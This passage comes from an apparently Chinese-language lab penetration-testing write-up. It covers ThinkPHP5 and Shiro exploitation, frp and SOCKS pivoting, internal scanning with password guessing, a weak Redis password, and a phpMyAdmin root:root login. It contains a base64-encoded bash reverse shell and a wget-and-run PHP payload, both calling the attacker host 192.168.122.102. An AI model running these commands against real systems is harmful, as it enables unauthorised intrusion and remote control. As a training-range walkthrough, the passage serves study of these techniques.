</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://192.168.100.2:8080/ poc-yaml-shiro-key <span style="color:#f92672">[{</span>mode cbc<span style="color:#f92672">}</span> <span style="color:#f92672">{</span>key kPH+bIxk5D2deZiIxcaaaA<span style="color:#f92672">==}]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://192.168.100.3 poc-yaml-thinkphp5-controller-rce 
</span></span></code></pre></div><h3 id="配置端口转发">配置端口转发</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>192.168.122.102 wsl kali
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>192.168.100.2 shiro
</span></span><span style="display:flex;"><span>192.168.100.3 thinkphp
</span></span></code></pre></div><p>现在的网络环境为
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_5.png" alt="|600" /><figcaption>|600</figcaption></figure>
</p>
<p>接下来需要配置端口转发了,这个我没啥经验,用我wsl里面装过的frp吧</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wsl kali
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>l1uyun workspace/frp » ./frps -c frps.toml
</span></span><span style="display:flex;"><span>2024-08-19 09:57:33.478 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>frps/root.go:105<span style="color:#f92672">]</span> frps uses config file: frps.toml       
</span></span><span style="display:flex;"><span>2024-08-19 09:57:33.613 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>server/service.go:237<span style="color:#f92672">]</span> frps tcp listen on 0.0.0.0:7000
</span></span><span style="display:flex;"><span>2024-08-19 09:57:33.613 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>frps/root.go:114<span style="color:#f92672">]</span> frps started successfully
</span></span><span style="display:flex;"><span>2024-08-19 09:59:30.950 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>server/service.go:576<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> client login info: ip <span style="color:#f92672">[</span>192.168.122.101:60698<span style="color:#f92672">]</span> version <span style="color:#f92672">[</span>0.59.0<span style="color:#f92672">]</span> hostname <span style="color:#f92672">[]</span> os <span style="color:#f92672">[</span>linux<span style="color:#f92672">]</span> arch <span style="color:#f92672">[</span>amd64<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>2024-08-19 09:59:30.951 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>proxy/tcp.go:82<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>shiro<span style="color:#f92672">]</span> tcp proxy listen port <span style="color:#f92672">[</span>9999<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>2024-08-19 09:59:30.951 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>server/control.go:399<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> new proxy <span style="color:#f92672">[</span>shiro<span style="color:#f92672">]</span> type <span style="color:#f92672">[</span>tcp<span style="color:#f92672">]</span> success
</span></span><span style="display:flex;"><span>2024-08-19 09:59:45.095 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>proxy/proxy.go:115<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>shiro<span style="color:#f92672">]</span> proxy closing
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>shiro
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@653a3ab3924e:/tmp# ./frpc -c shiro.toml
</span></span><span style="display:flex;"><span>2024-08-19 01:59:30.648 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>sub/root.go:142<span style="color:#f92672">]</span> start frpc service <span style="color:#66d9ef">for</span> config file <span style="color:#f92672">[</span>shiro.toml<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>2024-08-19 01:59:30.648 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>client/service.go:294<span style="color:#f92672">]</span> try to connect to server...
</span></span><span style="display:flex;"><span>2024-08-19 01:59:30.652 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>client/service.go:286<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> login to server success, get run id <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>2024-08-19 01:59:30.652 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>proxy/proxy_manager.go:173<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> proxy added: <span style="color:#f92672">[</span>shiro<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>2024-08-19 01:59:30.653 <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>client/control.go:168<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>f73e9824ff9889ea<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>shiro<span style="color:#f92672">]</span> start proxy success
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">shiro</span>.<span style="color:#a6e22e">toml</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">serverAddr</span> = <span style="color:#e6db74">&#34;192.168.122.102&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">serverPort</span> = <span style="color:#ae81ff">7000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[[<span style="color:#a6e22e">proxies</span>]]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">name</span> = <span style="color:#e6db74">&#34;shiro&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">type</span> = <span style="color:#e6db74">&#34;tcp&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">localIP</span> = <span style="color:#e6db74">&#34;192.168.110.3&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">localPort</span> = <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">remotePort</span> = <span style="color:#ae81ff">9999</span>
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_6.png" alt="" /></figure>
</p>
<h2 id="thinkphp">thinkphp</h2>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_7.png" alt="|486" /><figcaption>|486</figcaption></figure>
</p>
<p>网站主页提示了是thinkphp5,直接找到相关工具开始利用</p>
<h3 id="利用">利用</h3>
<p>检测漏洞
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_8.png" alt="" /></figure>
<p>拿shell</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;YmFzaCAtaSA1PD4vZGV2L3RjcC8xOTIuMTY4LjEyMi4xMDIvNDQ0NCAwPiY1IDE+JjUK&#39;</span> |base64 -d &gt; /tmp/a.sh
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">777</span> /tmp/a.sh
</span></span><span style="display:flex;"><span>ls -al /tmp/a.sh
</span></span><span style="display:flex;"><span>bash /tmp/a.sh
</span></span></code></pre></div><p>但是这个shell好像弹不回来..换成php的试试
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_9.png" alt="" /></figure>
<p>成功拿到shell</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget 192.168.122.102/ppp -O /tmp/ppp
</span></span><span style="display:flex;"><span>php /tmp/ppp
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>..<span style="color:#f92672">[</span>$<span style="color:#f92672">]</span> &lt;<span style="color:#f92672">()</span>&gt; pwncat  -l <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>Linux 94a2babbcac5 6.5.0-13parrot1-amd64 <span style="color:#75715e">#1 SMP PREEMPT_DYNAMIC Debian 6.5.13-1parrot1 (2023-12-19) x86_64 Linux</span>
</span></span><span style="display:flex;"><span>sh: w: not found
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>,82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/bin/sh: can<span style="color:#960050;background-color:#1e0010">&#39;</span>t access tty; job control turned off
</span></span><span style="display:flex;"><span>/ $ uid<span style="color:#f92672">=</span>82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>,82<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/ $ 
</span></span></code></pre></div><p>这里有python3,给shell升级一下</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>which python python2 python3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>python3 -c <span style="color:#e6db74">&#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export SHELL<span style="color:#f92672">=</span>bash
</span></span><span style="display:flex;"><span>export TERM<span style="color:#f92672">=</span>xterm-256color
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Ctrl+Z
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>stty raw -echo;fg 
</span></span></code></pre></div><p>拿到flag</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bash-5.1$ cat /f*
</span></span><span style="display:flex;"><span>cat /f*
</span></span><span style="display:flex;"><span>WSS-Studio<span style="color:#f92672">{</span>ThinkPHP-84d786a4-b47c-4fcb-a377-be6241d5bf10<span style="color:#f92672">}</span>
</span></span></code></pre></div><h3 id="内网扫描-1">内网扫描</h3>
<p>可以看到这台thinkphp机器是有两个内网地址的</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/ $ ifconfig
</span></span><span style="display:flex;"><span>eth0      Link encap:Ethernet  HWaddr 02:42:C0:A8:64:03  
</span></span><span style="display:flex;"><span>          inet addr:192.168.100.3  Bcast:192.168.100.255  Mask:255.255.255.0
</span></span><span style="display:flex;"><span>          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
</span></span><span style="display:flex;"><span>          RX packets:2642 errors:0 dropped:0 overruns:0 frame:0
</span></span><span style="display:flex;"><span>          TX packets:1810 errors:0 dropped:0 overruns:0 carrier:0
</span></span><span style="display:flex;"><span>          collisions:0 txqueuelen:0 
</span></span><span style="display:flex;"><span>          RX bytes:2271528 <span style="color:#f92672">(</span>2.1 MiB<span style="color:#f92672">)</span>  TX bytes:1569684 <span style="color:#f92672">(</span>1.4 MiB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>eth1      Link encap:Ethernet  HWaddr 02:42:0A:55:65:04  
</span></span><span style="display:flex;"><span>          inet addr:10.85.101.4  Bcast:10.85.101.255  Mask:255.255.255.0
</span></span><span style="display:flex;"><span>          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
</span></span><span style="display:flex;"><span>          RX packets:14 errors:0 dropped:0 overruns:0 frame:0
</span></span><span style="display:flex;"><span>          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
</span></span><span style="display:flex;"><span>          collisions:0 txqueuelen:0 
</span></span><span style="display:flex;"><span>          RX bytes:1116 <span style="color:#f92672">(</span>1.0 KiB<span style="color:#f92672">)</span>  TX bytes:0 <span style="color:#f92672">(</span>0.0 B<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>lo        Link encap:Local Loopback  
</span></span><span style="display:flex;"><span>          inet addr:127.0.0.1  Mask:255.0.0.0
</span></span><span style="display:flex;"><span>          UP LOOPBACK RUNNING  MTU:65536  Metric:1
</span></span><span style="display:flex;"><span>          RX packets:6532 errors:0 dropped:0 overruns:0 frame:0
</span></span><span style="display:flex;"><span>          TX packets:6532 errors:0 dropped:0 overruns:0 carrier:0
</span></span><span style="display:flex;"><span>          collisions:0 txqueuelen:1000
</span></span><span style="display:flex;"><span>          RX bytes:4014368 <span style="color:#f92672">(</span>3.8 MiB<span style="color:#f92672">)</span>  TX bytes:4014368 <span style="color:#f92672">(</span>3.8 MiB<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>上fscan扫一下内网</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>start infoscan
</span></span><span style="display:flex;"><span>trying RunIcmp2
</span></span><span style="display:flex;"><span>The current user permissions unable to send icmp packets
</span></span><span style="display:flex;"><span>start ping
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 10.85.101.2     is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 10.85.101.1     is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 10.85.101.4     is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 10.85.101.3     is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 10.85.101.3     is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Icmp alive hosts len is: <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>10.85.101.3:80 open
</span></span><span style="display:flex;"><span>10.85.101.2:6379 open
</span></span><span style="display:flex;"><span>10.85.101.4:9000 open
</span></span><span style="display:flex;"><span>10.85.101.3:9000 open
</span></span><span style="display:flex;"><span>10.85.101.1:22 open
</span></span><span style="display:flex;"><span>10.85.101.4:80 open
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> alive ports len is: <span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span>start vulscan
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> FCGI 10.85.101.3:9000
</span></span><span style="display:flex;"><span>Status: <span style="color:#ae81ff">403</span> Forbidden
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/8.2.8
</span></span><span style="display:flex;"><span>Content-type: text/html; charset<span style="color:#f92672">=</span>UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Access denied.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://10.85.101.4        code:200 len:931    title:None
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> FCGI 10.85.101.4:9000
</span></span><span style="display:flex;"><span>Status: <span style="color:#ae81ff">403</span> Forbidden
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.3.33
</span></span><span style="display:flex;"><span>Content-type: text/html; charset<span style="color:#f92672">=</span>UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Access denied.
</span></span><span style="display:flex;"><span>stderr:Access to the script <span style="color:#e6db74">&#39;/etc/issue&#39;</span> has been denied <span style="color:#f92672">(</span>see security.limit_extensions<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>plesa try other path,as -path /www/wwwroot/index.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://10.85.101.3        code:200 len:19411  title:phpMyAdmin
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> InfoScan http://10.85.101.3        <span style="color:#f92672">[</span>phpMyAdmin<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://10.85.101.3 poc-yaml-php-cgi-cve-2012-1823
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://10.85.101.4 poc-yaml-php-cgi-cve-2012-1823
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://10.85.101.4 poc-yaml-thinkphp5-controller-rce
</span></span><span style="display:flex;"><span>已完成 6/8 <span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> redis 10.85.101.2:6379 sysadmin &lt;nil&gt;
</span></span><span style="display:flex;"><span>已完成 7/8 <span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> ssh 10.85.101.1:22 root !QAZ2wsx ssh: handshake failed: ssh: unable to authenticate, attempted methods <span style="color:#f92672">[</span>none password<span style="color:#f92672">]</span>, no supported methods remain
</span></span><span style="display:flex;"><span>已完成 7/8 <span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> ssh 10.85.101.1:22 root 1q2w3e ssh: handshake failed: ssh: unable to authenticate, attempted methods <span style="color:#f92672">[</span>none password<span style="color:#f92672">]</span>, no supported methods remain
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>已完成 7/8 <span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> ssh 10.85.101.1:22 admin admin123 ssh: handshake failed: ssh: unable to authenticate, attempted methods <span style="color:#f92672">[</span>none password<span style="color:#f92672">]</span>, no supported methods remain
</span></span><span style="display:flex;"><span>已完成 7/8 <span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> ssh 10.85.101.1:22 admin 123456~a ssh: handshake failed: ssh: unable to authenticate, attempted methods <span style="color:#f92672">[</span>none password<span style="color:#f92672">]</span>, no supported methods remain
</span></span><span style="display:flex;"><span>已完成 7/8 <span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> ssh 10.85.101.1:22 admin Aa12345. ssh: handshake failed: ssh: unable to authenticate, attempted methods <span style="color:#f92672">[</span>none password<span style="color:#f92672">]</span>, no supported methods remain
</span></span><span style="display:flex;"><span>已完成 8/8
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 扫描结束,耗时: 7m48.941223927s
</span></span></code></pre></div><h3 id="配置socks代理">配置socks代理</h3>
<p>我这为啥又出现了一个多的ip&hellip;.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>10.85.101.4 thinkphp
</span></span><span style="display:flex;"><span>10.85.101.3 phpmyadmin
</span></span><span style="display:flex;"><span>10.85.101.2 redis
</span></span><span style="display:flex;"><span>10.85.101.1 ???  是运行docker的parrot???
</span></span></code></pre></div><p>现在的环境为
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_10.png" alt="" /></figure>
<p>这里就直接配置个socks代理吧</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">serverAddr</span> = <span style="color:#e6db74">&#34;192.168.122.102&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">serverPort</span> = <span style="color:#ae81ff">7000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[[<span style="color:#a6e22e">proxies</span>]]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">name</span> = <span style="color:#e6db74">&#34;kali2tp&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">type</span> = <span style="color:#e6db74">&#34;tcp&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">remotePort</span> = <span style="color:#ae81ff">9998</span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">proxies</span>.<span style="color:#a6e22e">plugin</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">type</span> = <span style="color:#e6db74">&#34;socks5&#34;</span>
</span></span></code></pre></div><p>配完之后
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_11.png" alt="" /></figure>
<p>配置一下proxychains</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_12.png" alt="" /></figure>
</p>
<h2 id="redis">redis</h2>
<p>使用proxychains来实现使用代理</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>☁  workspace  sudo proxychains4  nmap -sT -Pn 10.85.101.2 -p6379 --script<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*redis*&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains4.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-08-19 11:01 CST
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> Strict chain  ...  192.168.122.102:9998  ...  10.85.101.2:6379  ...  OK
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.85.101.2
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0028s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>6379/tcp open  redis
</span></span><span style="display:flex;"><span>|_redis-info: ERROR: Script execution failed <span style="color:#f92672">(</span>use -d to debug<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| redis-brute:
</span></span><span style="display:flex;"><span>|   Accounts:
</span></span><span style="display:flex;"><span>|     <span style="color:#ae81ff">12345</span> - Valid credentials
</span></span><span style="display:flex;"><span>|_  Statistics: Performed <span style="color:#ae81ff">5</span> guesses in <span style="color:#ae81ff">1</span> seconds, average tps: 5.0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 0.18 seconds
</span></span></code></pre></div><p>有个弱口令</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>└<span style="color:#f92672">[</span>~/workspace<span style="color:#f92672">]</span>&gt; sudo proxychains4  redis-cli -h 10.85.101.2 -p <span style="color:#ae81ff">6379</span> -a <span style="color:#ae81ff">12345</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains4.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span>Warning: Using a password with <span style="color:#e6db74">&#39;-a&#39;</span> or <span style="color:#e6db74">&#39;-u&#39;</span> option on the command line interface may not be safe.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> Strict chain  ...  192.168.122.102:9998  ...  10.85.101.2:6379  ...  OK
</span></span><span style="display:flex;"><span>10.85.101.2:6379&gt; PINg
</span></span><span style="display:flex;"><span>PONG
</span></span><span style="display:flex;"><span>10.85.101.2:6379&gt; KEYS *
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>empty array<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>10.85.101.2:6379&gt; 
</span></span></code></pre></div><p>但是为啥是空的&hellip;.</p>
<p>看了一下巨魔的wp,应该是会有个flag的&hellip;.应该docker运行的时候出了点问题</p>
<h2 id="phpmyadmin">phpmyadmin</h2>
<p>再看看phpmyadmin</p>
<h3 id="弱口令进入后台">弱口令进入后台</h3>
<p>回到phpmyadmin
弱口令进入后台</p>
<pre tabindex="0"><code>localhost:root:root
</code></pre><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_13.png" alt="" /></figure>
</p>
<p>但是我进不去&hellip;.
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_14.png" alt="" /></figure>
<p>重试了几遍,进去了</p></p>
<p>拿到flag
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_15.png" alt="" /></figure>
</p>
<h3 id="into-outfile写入webshell">into-outfile写入webshell</h3>
<p>尝试利用,这里去找了一下文章,<a href="https://www.zsblog.org/390.html" target="_blank" rel="noopener nofollow noreferrer" >PHPMyadmin-Mysql的Getshell姿势汇总 – 张三blog</a>
先看看有没有权限写入文件,这里设置为空,没有限制
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_16.png" alt="" /></figure>
<p>这俩没啥用,直接猜是/var/www/html试试</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_17.png" alt="" /></figure>
<figure class="md-figure">
